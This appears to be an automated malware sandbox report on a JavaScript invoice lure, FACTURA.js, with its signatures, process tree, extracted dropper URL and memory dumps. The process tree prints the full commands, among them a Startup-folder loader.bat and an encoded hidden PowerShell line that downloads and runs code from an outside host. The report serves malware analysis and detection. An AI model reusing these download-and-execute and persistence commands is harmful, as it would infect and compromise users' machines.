Analysis
- max time kernel
149s - max time network
145s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
28/07/2026, 00:21
General
- Target FACTURA.js
- Size 22KB
- Sample260728-anef6avyax
- SHA256 29967263bad4e5f38fbcae0fd83b86dcaf0a75fb24e4f079d33a649a084f6b8d
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://airtickts.com/cjr.jpg
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Creates a file in the Startup directory 1 TTPs 1 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\FACTURA.js1⤵
- Creates a file in the Startup directory
- Modifies registry class
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\loader.bat""1⤵
- Process spawned unexpected child process
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -w h -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwBoAHQAdABwAHMAOgAvAC8AYQBpAHIAdABpAGMAawB0AHMALgBjAG8AbQAvAGMAagByAC4AagBwAGcAJwApAA==2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
loader.bat
memory/3308-2-0x00007FFC67E7F000-0x00007FFC67E80000-memory.dmp
memory/3308-3-0x00007FFC67CF0000-0x00007FFC68694000-memory.dmp
memory/3308-7-0x00007FFC67CF0000-0x00007FFC68694000-memory.dmp
memory/3308-6-0x0000020220C40000-0x0000020220C62000-memory.dmp
memory/3308-8-0x00007FFC67CF0000-0x00007FFC68694000-memory.dmp
memory/3308-9-0x00007FFC67CF0000-0x00007FFC68694000-memory.dmp
memory/3308-10-0x00007FFC67CF0000-0x00007FFC68694000-memory.dmp
memory/3308-11-0x00007FFC67CF0000-0x00007FFC68694000-memory.dmp
memory/3308-12-0x00007FFC67CF0000-0x00007FFC68694000-memory.dmp
memory/3308-13-0x00007FFC67CF0000-0x00007FFC68694000-memory.dmp
memory/3308-14-0x00007FFC67CF0000-0x00007FFC68694000-memory.dmp
memory/3308-15-0x00007FFC67CF0000-0x00007FFC68694000-memory.dmp
memory/3308-17-0x00007FFC67CF0000-0x00007FFC68694000-memory.dmp
memory/3308-18-0x00007FFC67CF0000-0x00007FFC68694000-memory.dmp
memory/3308-19-0x00007FFC67CF0000-0x00007FFC68694000-memory.dmp